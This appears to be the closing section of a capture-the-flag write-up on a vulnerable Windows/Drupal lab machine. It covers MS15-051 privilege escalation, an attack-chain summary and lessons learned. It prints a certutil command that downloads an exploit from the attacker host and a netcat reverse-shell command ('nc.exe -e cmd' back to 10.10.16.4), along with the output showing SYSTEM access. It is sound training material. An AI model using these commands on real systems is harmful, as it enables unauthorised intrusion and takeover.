SecWiki/windows-kernel-exploits repository on GitHub, MS15-051 folder, with the README showing the usage c:\&gt; MS15-051.exe whoami

SecWiki / windows-kernel-exploits / MS15-051 / README.md
The POC was from @hfiref0x
Vulnerability reference: MS15-051 / CVE-2015-1701

Usage
c:\> MS15-051.exe whoami

The usage the README documents is the key: the binary does not open a shell, it runs the command passed as an argument as SYSTEM. So we first test it with whoami to confirm it works:

certutil.exe -f -urlcache -split http://10.10.16.4/ms15-051x64.exe ms15-051x64.exe
.\ms15-051x64.exe whoami

certutil downloading ms15-051x64.exe and the exploit running whoami, which returns nt authority\system

PS C:\Windows\Temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/ms15-051x64.exe ms15-051x64.exe
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp\privesc> .\ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 1672 created.
nt authority\system

Confirmed. Now, with the listener up, we hand it the nc.exe we had already uploaded to turn it into a real shell:

rlwrap nc -nlvp 4321
.\ms15-051x64.exe "nc.exe -e cmd 10.10.16.4 4321"

The exploit launching nc.exe and the rlwrap nc listener on 4321 catching the connection from 10.10.10.9, with whoami returning nt authority\system and the type of root.txt

listening on [any] 4321 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.9] 49290
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\Temp\privesc>whoami
nt authority\system

C:\Windows\Temp\privesc>type c:\Users\administrator\desktop\root.txt
8c09d68eeaa4822b83fa5b1a00a2b709

Same flag through the second route. rlwrap wraps nc to give it command history and line editing, which a raw cmd.exe shell does not have.

Attack chain

HTTP/IIS 7.5 -> Drupal 7.54 (robots.txt -> CHANGELOG.txt, droopescan: services module)
   │ searchsploit: two RCE paths available
   ▼
CVE-2019-6340 (Services) ──┐         Drupalgeddon2 (CVE-2018-7600)
   │ /node/1 -> api_test    │            │ push-button exploit
   │ /rest = endpoint_path  │            │ no writable web root -> OS commands
   ▼                        ▼            ▼
shell.php (webshell) ───────┴──→ RCE as nt authority\iusr
   │ Nishang + Penelope :4444
   ▼
SeImpersonatePrivilege (Server 2008 R2 RTM, 0 hotfixes)
   ├── JuicyPotato (wuauserv CLSID) -> SYSTEM
   └── (alternative) Sherlock -> MS15-051 -> SYSTEM
   │
   ▼
user.txt (dimitris) + root.txt (Administrator)

Lessons learned

  • The exact version is everything. robots.txt pointed at CHANGELOG.txt, droopescan suggested 7.54 and the file confirmed it. Hiding the version files does not fix the flaw, but at least it does not gift it away. What fixes it is updating.
  • Enumerating the CMS beats fuzzing paths. gobuster returned dozens of directories that were stock Drupal skeleton; droopescan returned the services module installed, which is exactly what opened the first route.
  • Read the exploit and discover the endpoint, do not assume it. 41564.php shipped with endpoint_path = '/rest_endpoint' as an example and that route 404'd; enumerating /node/<id> showed the internal name is rest_endpoint but the route is /rest. Conflating the two is what was breaking the attack.
  • A well-written exploit degrades instead of giving up. Drupalgeddon2 could not write to IIS's web root in any of the three paths it tried and, rather than aborting, dropped back to direct OS commands. Reading the full output teaches more than skipping to the result.
  • SeImpersonatePrivilege on service accounts = SYSTEM. iusr had it; the Potato family turns it into Administrator. On old systems you have to pick a compatible CLSID from the repository's list, even when the edition is not identical.
  • An unpatched kernel is the attacker's safety net. windows-exploit-suggester reported 0 hotfixes against 197 bulletins: too many candidates and no useful link. Sherlock, which queries the system from the inside, pointed straight at MS15-051. Two tools of the same kind, wildly different usefulness.
Command cheatsheet 28 commands

Quick review